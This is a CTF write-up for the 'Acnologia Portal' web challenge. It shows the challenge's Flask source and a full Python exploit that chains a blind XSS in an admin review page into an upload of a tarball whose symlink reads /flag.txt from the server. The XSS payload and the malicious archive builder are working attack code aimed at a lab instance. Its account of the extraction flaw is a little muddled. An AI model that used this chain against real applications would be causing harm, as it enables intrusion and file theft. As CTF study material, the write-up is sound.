B-XSS -> ZipSlip -> Local File Read

A Cyber Apocalypse CTF 2022 web challenge chaining a blind XSS in an admin report-review page into a ZipSlip symlink attack on a firmware-upload endpoint to read /flag.txt off the server.

As usual, I got some time to play CTFs and decided to join my team, TamilCTF, to play Cyber Apocalypse CTF 2022 (organized by HackTheBox). Let’s see a solution for one of the web challenges I solved during the event that I found interesting.

💡 Challenge Name: Acnologia Portal

Introduction

The following screenshot shows what the web app looks like:

We’re provided with the source code, and the following screenshot shows its structure:

Report

The app has a reporting feature, and a bot that visits reports — so we need an XSS:

Source Code

database.py defines User, Firmware, and Report models (nothing especially interesting), and seeds an admin user plus a handful of firmware rows on migrate_db().

routes.py:

import json
from application.database import User, Firmware, Report, db, migrate_db
from application.util import is_admin, extract_firmware
from flask import Blueprint, jsonify, redirect, render_template, request
from flask_login import current_user, login_required, login_user, logout_user
from application.bot import visit_report

web = Blueprint('web', __name__)
api = Blueprint('api', __name__)

def response(message):
    return jsonify({'message': message})

@web.route('/', methods=['GET'])
def login():
    return render_template('login.html')

@api.route('/login', methods=['POST'])
def user_login():
    if not request.is_json:
        return response('Missing required parameters!'), 401
    data = request.get_json()
    username = data.get('username', '')
    password = data.get('password', '')
    if not username or not password:
        return response('Missing required parameters!'), 401
    user = User.query.filter_by(username=username).first()
    if not user or not user.password == password:
        return response('Invalid username or password!'), 403
    login_user(user)
    return response('User authenticated successfully!')

@web.route('/register', methods=['GET'])
def register():
    return render_template('register.html')

@api.route('/register', methods=['POST'])
def user_registration():
    if not request.is_json:
        return response('Missing required parameters!'), 401
    data = request.get_json()
    username = data.get('username', '')
    password = data.get('password', '')
    if not username or not password:
        return response('Missing required parameters!'), 401
    user = User.query.filter_by(username=username).first()
    if user:
        return response('User already exists!'), 401
    new_user = User(username=username, password=password)
    db.session.add(new_user)
    db.session.commit()
    return response('User registered successfully!')

@web.route('/dashboard')
@login_required
def dashboard():
    return render_template('dashboard.html')

@api.route('/firmware/list', methods=['GET'])
@login_required
def firmware_list():
    firmware_list = Firmware.query.all()
    return jsonify([row.to_dict() for row in firmware_list])

@api.route('/firmware/report', methods=['POST'])
@login_required
def report_issue():
    if not request.is_json:
        return response('Missing required parameters!'), 401
    data = request.get_json()
    module_id = data.get('module_id', '')
    issue = data.get('issue', '')
    if not module_id or not issue:
        return response('Missing required parameters!'), 401
    new_report = Report(module_id=module_id, issue=issue, reported_by=current_user.username)
    db.session.add(new_report)
    db.session.commit()
    visit_report()
    migrate_db()
    return response('Issue reported successfully!')

@api.route('/firmware/upload', methods=['POST'])
@login_required
@is_admin
def firmware_update():
    if 'file' not in request.files:
        return response('Missing required parameters!'), 401
    extraction = extract_firmware(request.files['file'])
    if extraction:
        return response('Firmware update initialized successfully.')
    return response('Something went wrong, please try again!'), 403

@web.route('/review', methods=['GET'])
@login_required
@is_admin
def review_report():
    Reports = Report.query.all()
    return render_template('review.html', reports=Reports)

@web.route('/logout')
@login_required
def logout():
    logout_user()
    return redirect('/')

@login_required checks the user is authenticated. @is_admin checks the username matches the configured admin username and that the request’s source IP is 127.0.0.1:

def is_admin(f):
    @functools.wraps(f)
    def wrap(*args, **kwargs):
        if current_user.username == current_app.config['ADMIN_USERNAME'] and request.remote_addr == '127.0.0.1':
            return f(*args, **kwargs)
        else:
            return abort(401)
    return wrap

/api/firmware/report saves a report and then calls visit_report() (the bot views it) followed by migrate_db() (which clears the reports table). /api/firmware/upload is admin-only and accepts a file, handed to extract_firmware():

def extract_firmware(file):
    tmp = tempfile.gettempdir()
    path = os.path.join(tmp, file.filename)
    file.save(path)

    if tarfile.is_tarfile(path):
        tar = tarfile.open(path, 'r:gz')
        tar.extractall(tmp)

        rand_dir = generate(15)
        extractdir = f"{current_app.config['UPLOAD_FOLDER']}/{rand_dir}"
        os.makedirs(extractdir, exist_ok=True)
        for tarinfo in tar:
            name = tarinfo.name
            if tarinfo.isreg():
                try:
                    filename = f'{extractdir}/{name}'
                    os.rename(os.path.join(tmp, name), filename)
                    continue
                except:
                    pass
            os.makedirs(f'{extractdir}/{name}', exist_ok=True)
        tar.close()
        return True

    return False

Uploaded files are first saved to /tmp, then — if they’re a valid tar file — extracted there too. The loop afterward only special-cases regular files (tarinfo.isreg()), moving them into a randomly-named subdirectory under the app’s static folder (/app/application/static/[random_number], which is web-accessible). Anything that isn’t a regular file (like a symlink) just gets os.makedirs’d instead of validated — and critically, the check that would catch a path-traversing entry only runs against the original /tmp extraction location, not the final static destination.

review.html renders report content with the Jinja safe filter, with no sanitization:

<div class="card-header"> Reported by : USER
</div>
<div class="card-body">
  <p class="card-title">Module ID : {{ report.module_id }}</p>
  <p class="card-text">Issue : {{ report.issue | safe }} </p>
  <a href="#" class="btn btn-primary">Reply</a>
  <a href="#" class="btn btn-danger">Delete</a>
</div>

That’s our XSS.

Exploit Idea

Session cookies are HttpOnly, so we can’t read them with JavaScript directly — but we don’t need to, since our blind XSS runs as the bot/admin and can just make requests on our behalf. Even so, the admin-only endpoints check request.remote_addr == '127.0.0.1', so we can’t hit /api/firmware/upload ourselves — but the bot, presumably running on the same host, can.

This is a textbook ZipSlip: packing a symlink into a tar/gzip archive so that, on extraction, it traverses outside the intended directory. Here, since extract_firmware() only validates regular files and skips that check once files land in the static directory, we can create a symlink named e.g. getflag.txt pointing at /flag.txt, pack it into the uploaded tarball, and have it survive extraction into the app’s static (web-accessible) directory.

Exploit

A Python script to automate the whole chain — register an account, log in, build a malicious tarball containing a symlink to /flag.txt, base64-encode it, and use the blind XSS (via the report endpoint) to have the bot upload it as the admin:

import requests
import os
import random
import string
import tarfile

letters = string.ascii_lowercase
randomText = ''.join(random.choice(letters) for i in range(10))
url = 'http://localhost:1337'

def registerUser(username, password):
    r = requests.post(url + '/api/register', json={"username": username, "password": password})
    if r.status_code != 200:
        print(r.text)
        exit()

def loginUser(username, password):
    r = requests.post(url + '/api/login', json={"username": username, "password": password})
    if r.status_code != 200:
        print(r.text)
        exit()
    session = r.headers['Set-Cookie'].split(';')[0].split('=')[1]
    global cookies
    cookies = {'session': session}
    r = requests.get(url + '/dashboard', cookies=cookies)

def makeTar():
    os.system(f'mkdir ../app')
    os.system(f'mkdir ../app/application/')
    os.system(f'mkdir ../app/application/static')
    os.system('ln -s /flag.txt getflag.txt; mv getflag.txt ../app/application/static/')

    tar = tarfile.open('exp.tar', 'w')
    tar.add('../app/application/static/getflag.txt')
    tar.close()

    os.system('gzip exp.tar')
    os.system('rm -rf ../app')

def js():
    string = os.popen('cat exp.tar.gz | base64 -w0')
    os.system('rm -rf exp.tar.gz')
    b64String = string.read()
    global js
    js = """
    <script>
    function base64toBlob(base64Data, contentType) {
      contentType = contentType || '';
      var sliceSize = 1024;
      var byteCharacters = atob(base64Data);
      var bytesLength = byteCharacters.length;
      var slicesCount = Math.ceil(bytesLength / sliceSize);
      var byteArrays = new Array(slicesCount);
      for (var sliceIndex = 0; sliceIndex < slicesCount; ++sliceIndex) {
        var begin = sliceIndex * sliceSize;
        var end = Math.min(begin + sliceSize, bytesLength);
        var bytes = new Array(end - begin);
        for (var offset = begin, i = 0; offset < end; ++i, ++offset) {
          bytes[i] = byteCharacters[offset].charCodeAt(0);
        }
        byteArrays[sliceIndex] = new Uint8Array(bytes);
      }
      return new Blob(byteArrays, { type: contentType });
    }
    var b64file = """ + f"'{b64String}'" + """;
    var content_type = 'application/x-gtar-compressed';
    var blob = base64toBlob(b64file, content_type);
    var formData = new FormData();
    formData.append('file', blob, 'abcd');
    var url = 'http://localhost:1337/api/firmware/upload';
    var request = new XMLHttpRequest();
    request.withCredentials = true;
    request.open('POST', url);
    request.send(formData);
    </script>
    """

def report():
    r = requests.post(url + '/api/firmware/report', cookies=cookies, json={"module_id": "1", "issue": f"{js}"})
    if r.status_code != 200:
        print(r.text)
        exit()

def getflag():
    r = requests.get(url + '/static/getflag.txt')
    print(r.text.strip())
    exit()

def main():
    registerUser(randomText, randomText)
    loginUser(randomText, randomText)
    makeTar()
    js()
    report()
    getflag()

if __name__ == "__main__":
    main()

Running it, we get the flag:

🚩 FLAG: HTB{des3r1aliz3_4ll_th3_th1ngs}